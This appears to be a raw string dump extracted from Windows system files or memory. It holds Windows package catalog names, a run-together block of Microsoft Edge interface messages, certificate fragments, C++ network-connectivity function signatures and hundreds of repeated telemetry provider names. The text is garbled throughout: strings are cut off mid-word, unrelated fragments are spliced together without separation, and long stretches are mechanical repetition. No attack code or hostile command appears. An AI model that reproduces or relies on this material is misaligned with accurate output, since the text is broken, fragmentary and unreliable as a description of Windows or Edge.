Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
(@Microsoft-Windows-User Device Registration@
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
EnumWindows
WindowsphoneProcess
ft Edge$1 is installed on Microsoft Edge$1 has been applied to Microsoft Edge$1 is already installed but disabledThere was an error installing the extensionThere was an error installing the themeClick "$1" to installClick "$1" to apply the themeYou can remove the extension by clicking on the button hereYou can remove the theme by clicking on the button hereClick "$1" to try againGet extensionGet themeRemove themeDownloads are not supported on this device.To use the extensions we've imported from Google Chrome, allow Microsoft Edge to install extensions from other stores.Extension Installation in progress$1 is now installed.View Extension, $1Pin $1 to toolbarUnpin $1 from toolbarYour organization pinned $1 to the toolbarOpen $1 in sidebarClose the sidebar for $1$1 has turned off the Edge sidebar for this siteContains a sidebar experience"$1" extension removedUninstall app from Microsoft Edge on all synced devices?WhatsAppFacebookYouTubeTurn off extensions in developer modeRunning extensions in developer mode can harm your device. If you're not a developer, consider turning off extensions in developer mode to protect your device.Turn off extensionsRemind in 2 weeksRemind on browser restartTurn off developer mode?Extensions are running in developer mode. If you're not actively developing, we suggest turning it off to help protect your device.Unpacked extensions have been turned offUnpacked extensions have been turned onTo use this extension, turn on developer mode.and $1 moreSearch for similar extensionsThis extension has been disabled by enterprise policy because it is no longer available on the Microsoft Edge Add-ons Store.Adding extensionHide extensions button from toolbarShow extensions button in toolbarOpen extensions pageCustomize your browser with extensionsDiscover extensions, themes, and more that can make you productive and help personalize your browser.Get extensions for Microsoft EdgeAllowed only when clickedTo apply these settings, refresh the page.Close refresh alertExtensions installed by your administrator may still work on this siteExtensions are allowed on this siteThis extension is no longer available in the Edge Addons Store.Click here for similar extensionsNever save for this sitePassword saved on this deviceMicrosoft Edge will save and fill your password for this site next time.Microsoft Edge will update your saved password for this site.Your password will be saved and filled for this site next time.Your saved password will be updated for this site.Saved password automaticallyReview your Microsoft account settings?Edge Password MonitorEdge AuthenticatorTo open this page in Internet Explorer mode, run Windows Update.To open this page in Internet Explorer mode, reinstall Microsoft Edge with administrator privileges.To open this page in Internet Explorer mode, try restarting Microsoft Edge.Internet Explorer can't be found. You need to re-install or re-enable Internet Explorer.Set up IE modeYour organization made a change that will take a few moments to complete. Please wait.Press $1 to search $2Press $1 to send commands to $2Send commands to $1$1 to search $2$1 to send commands to $2$1 to search$1 to send commandsTab switched.Suggestion removed.Search $1, Type search term.Search mode canceled.Okay, got itManage favoritesYour favorites have been brought over from Microsoft Edge Legacy.Bing Chat (Ctrl+Shift+.)Web captureExit tab from Internet Explorer modeApplication GuardProject Robin modeLabel cardCan't save card right nowPage translated. Show optionsDownloads $1Multiple warningsPerformance issue detectedEdge Secure Network is ConnectedEdge Secure Network is DisconnectedEdge Secure Network is Connected - WarningEdge Secure Network is Disconnected - WarningEdge Secure Network is Disconnected - ErrorSide pane is now showing $1.$1 side pane closed.Microsoft OfficeWallet Express CheckoutEnter Immersive Reader (F9)Exit Immersive Reader (F9)Open selection in I&mmersive ReaderOpen in Immersive ReaderExit Immersive ReaderDownloads, errorDownloads, file warningDownloads, file requires attentionDownloads, $1% complr`
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
WINDOWSSELFHOST
)MicrosoftWindows.Client.CBS_cw5n1h2txyewy1
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
oft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetPhysicalConnectedProfile(struct _GUID *,class Windows::Networking::Connectivity::ConnectionProfileServer **) noexcept
Microsoft.Windows.DusmSvc
Microsoft.Windows.DusmSvc
Microsoft.Windows.DusmSvc
Microsoft.Windows.DusmSvc
Microsoft.Windows.DusmSvc
Microsoft.Windows.DusmSvc
Microsoft.Windows.DusmSvc
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetConnectionCost(struct Windows::Networking::Connectivity::IConnectionCost **) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionCostServer::get_Roaming(unsigned char *) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionCostServer::get_Roaming(unsigned char *) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionCostServer::get_NetworkCostType(enum Windows::Networking::Connectivity::NetworkCostType *) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionCostServer::get_NetworkCostType(enum Windows::Networking::Connectivity::NetworkCostType *) noexcept
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::Initialize(const struct _GUID *,const unsigned short *,const unsigned short *,enum _WCM_MEDIA_TYPE,unsigned long,bool,struct INetworkInterfacePrivate2 *,bool) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::Initialize(const struct _GUID *,const unsigned short *,const unsigned short *,enum _WCM_MEDIA_TYPE,unsigned long,bool,struct INetworkInterfacePrivate2 *,bool) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::CreateConnectedProfile(struct _GUID,struct _GUID,unsigned long,struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetConnectionCost(struct Windows::Networking::Connectivity::IConnectionCost **) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetPhysicalConnectedProfile(struct _GUID *,class Windows::Networking::Connectivity::ConnectionProfileServer **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::CreateConnectedProfile(struct _GUID,struct _GUID,unsigned long,struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::Initialize(const struct _GUID *,const unsigned short *,const unsigned short *,enum _WCM_MEDIA_TYPE,unsigned long,bool,struct INetworkInterfacePrivate2 *,bool) noexcept
Microsoft.Windows.DusmSvc
Microsoft.Windows.DusmSvc
Microsoft.Windows.DusmSvc
Microsoft.Windows.DusmSvc
Microsoft.Windows.DusmSvc
Microsoft.Windows.DusmSvc
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::add_NetworkStatusChanged(struct Windows::Networking::Connectivity::INetworkStatusChangedEventHandler *,struct EventRegistrationToken *) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::add_NetworkStatusChanged(struct Windows::Networking::Connectivity::INetworkStatusChangedEventHandler *,struct EventRegistrationToken *) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::add_NetworkStatusChanged(struct Windows::Networking::Connectivity::INetworkStatusChangedEventHandler *,struct EventRegistrationToken *) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionPro
Microsoft.Windows.ConnectionManager
Microsoft.Windows.NetworkListManager
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetNetworkConnectivityLevel(enum Windows::Networking::Connectivity::NetworkConnectivityLevel *) noexcept
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
oft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
oft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.HostName
Microsoft.Windows.HostName
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.Netw
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
oft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.WiFiCloudStore
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.Shell.SystemSettings.SettingsEnvironment
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.CloudRestoreLauncher
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
pdhkey_local_machine\software\policies\microsoft\windows\powershell\s
rc:\windows\system32\windowspowershell\v1.0\powershell.exe-command$
oot\System32\drivers\wfplwfs.sys
\SystemRoot\System32\drivers\volsnap.sys
qwindows
b6^com.microsoft.windows.e
windows\system32\dllhost.exe
windows\system32\werfault.exe
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-OneCore-Bluetooth-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-OneCore-Graphics-DirectX-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-DirectX-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-Embedded-KeyboardFilter-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3037.cat|
Microsoft-Windows-LanguageFeatures-Speech-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-LanguageFeatures-Speech-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
